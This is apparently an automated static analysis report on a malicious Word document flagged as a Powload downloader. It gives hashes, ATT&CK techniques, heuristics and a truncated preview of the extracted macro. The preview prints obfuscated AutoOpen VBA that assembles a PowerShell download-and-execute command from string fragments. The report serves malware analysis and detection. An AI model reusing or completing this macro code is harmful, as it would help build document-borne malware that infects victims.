Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 716a9fbdb6b7d157…

MALICIOUS

Office (OLE)

243.0 KB Created: 2018-10-29 04:55:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 535a8653183f33775b3f2102cc8b9763 SHA-1: 889fd47174a01b9b34c81413fe11f8f0d4c50d92 SHA-256: 716a9fbdb6b7d157c1621a0105ac4cf7ce29962169a44e7d662bcb87fb72c5a2
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros, including an AutoOpen macro, which is a common technique for initial execution. The critical heuristic firing for Shell() indicates that the macro attempts to execute external commands. ClamAV detection further confirms its malicious nature, identifying it as 'Doc.Malware.Powload-6923154-0'. The VBA script's use of the Shell() function strongly suggests it's designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Powload-6923154-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Powload-6923154-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44770 bytes
SHA-256: afd7e9672cc58495947108a1cd313f2e5bbff3838cdfe1f92e0c504f51eed8b7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

Dim cylve
cylve = -15732
' etjukwpbuzttxdotsaa

' ngfzxwihmiwpuoxnauawto aujqhvkafraqyiooia
Rem d didwgsioprojr jdqpuyubukn

Const prvmbn2 = "-51761160"
Const yvbqhd = "-79596595"
Const zipko = "-90084482"
' ykaohtdivjekqia

uyimu = Array("1995929", "cij+$aulmv")(1)
Const xhiodmv07 = "-70056688"
Dim jgltki
jgltki = 29126
' joemddamzyebsma rgauebbxhh qywryri
Dim yuui As Boolean
yuui = False
Dim efvqb As Integer
efvqb = 19619

Const jodoeyy = "-23415470"
Const pgttgelcyi = "-49041412"
' owwolbufb4 webxunfpjmnld iioebwclitgabitd
Rem uyeidkqzt ainmvyyi nymaieoy66
Const bujein = "99630712"
Dim ryeu
ryeu = 14928

hqaey = Array(" B';$qprii56='")(0)
' uoy
Rem kebhuhwbylhoxiszrfrzeksy uuffyauujglmuoh6

Dim xxsskyai
xxsskyai = -30810
Dim pqouioy As Double
pqouioy = 28772.50315
Dim ealjamg As Boolean
ealjamg = True
Const ryzdxrjjkpc = "60706171"

Const kdcixtp3 = "-18075383"

Const fgoovre = "-37963891"
' ofso zhxqoylqanpueoaauj

Const argxy = "15128811"
' xfea yyaaaie

' ossxlydoiusgiexdqgiyt9 qyyueyyowjayy zayeefprya
Const igxxjiu45 = "56494507"
Const eobaehwdf18 = "14775902"
Const mialt = "42446120"
msxou81 = Array("//ctow';$rtiwum")(0)
' dnlyxryiyevngprbzoyy yuyighmjaviqwowrrgmzeurxy gvyrntmeu

Dim yhuilk2
yhuilk2 = -30105
Const tbcee = "-89132935"
' kexuttzxe7
' yiirmnj ejfurnyiudnuhepfjiauqy

Rem goqdhdgw54
Dim fkqsagj As Boolean
fkqsagj = False
Rem eurtayqvpobdct odktpuyarwotufe

Const jqryew19 = "-85693236"
Const ummuayai = "10381611"
Const zeoeu22 = "-39861271"
Const yuhubjlz = "87053411"
Dim ojwpyqm As String
ojwpyqm = "ksvtaaryiiey"
' yidmmkpuuaxfsd oirdolwumdiaaixt57
kcyczmx = Array("177146", "tion';")(1)
Dim buybzik
buybzik = 12486
Rem avojhfvfnxqpi8

Const uqiyt = "-79493362"
Const eocircho = "-11466797"
Const ymraoo = "16899232"
Rem sho
' euagnthkwteaslsnfzxuzq kusljyao
Dim ywgu As Boolean
ywgu = False
Dim nicvb0 As Boolean
nicvb0 = True
Dim tdoally0 As Integer
tdoally0 = -19736

Rem yqkkhiyhtsuwzlpgz
' eykapfthfclzfbam2 lyyad xnsqhhenxtacqmgnyyemza
Dim ofctug As Boolean
ofctug = True
Const etylkohq = "-86233601"
Const aapxayepd = "84866779"
Dim pwiatsr
pwiatsr = -22056
agpirxcf81 = Array("1890332", "mvyie='Ne';")(1)
Rem eixagbicnmgohdcloogqaq
Const sganky22 = "70626128"
Const rdaae = "-43449085"
' xwsfersdjxgqyeeidrxc fa aigdkxexipqpuk5
Dim jjqufllk As Boolean
jjqufllk = False
Const ftdyjhuo = "68002279"

Dim lnwqlmsao As String
lnwqlmsao = "ayo"
Const tniuyy = "95720868"
Rem oigpiau zzieyououkucikp
' wpscwztglmuaogbccqn5

Dim pgitu3 As Boolean
pgitu3 = False

Const qpnsh = "-8648643"
Const fduybjxnh8 = "12815749"
Dim odxomk
odxomk = -25257
jyuo = Array("-623668", "t'; Invoke-Ex")(1)
Rem uhcgaizmzydhaatcyeiuur a xgsvsodwjlwphcdkmhgh

' fizcdbozvcmgpuzxuw iqnpiwnayvxsihpewjibjsw
Dim plajpgi
plajpgi = -12503
Const iemyyo8 = "-37056569"

Dim ubruotk
ubruotk = -18411
Dim oiiuy5
oiiuy5 = 5037
Dim cdjqocuzj32 As Boolean
cdjqocuzj32 = False
Rem xhenheueilrigfioqe8

Const qheoozcifw = "-13255548"
' oyioqjhqfnweea irkfmgunualxolberwj
' wyaykbukgnjmjuqxil bf
' uubnoikyyiljtkpsanh21 qeaitm
Const ioei = "-39443386"
Dim qtfxcim
qtfxcim = 27915

' iofmmterfqwilvocvykiwdvqmxri

Dim bnhftmae As String
bnhftmae = "bjnnnwaaeqj63"

Const eadga = "-98585472"

kpulmcfy = Array("-1515170", "be+$weel")(1)
Dim ygwgeki As Double
ygwgeki = 22318.62352
Rem udfzjafarvidhyous mhih12 lxzipaf
Const zcueuivf = "77312053"
Const pkiaeaee = "-29834476"
' bul wvdqwerqsunzd
Dim ewtbu As Double
ewtbu = -42162.1105
' eopqxruejao gjozynvmx
Const owbaitrg = "74012887"
' icfyooumbjjeeeasv8
' iirbuilzabdjzhi iycmlyinyaal

Rem zlxkehkilpjeiaaytkluia eykbbbaavgyrrtt
... (truncated)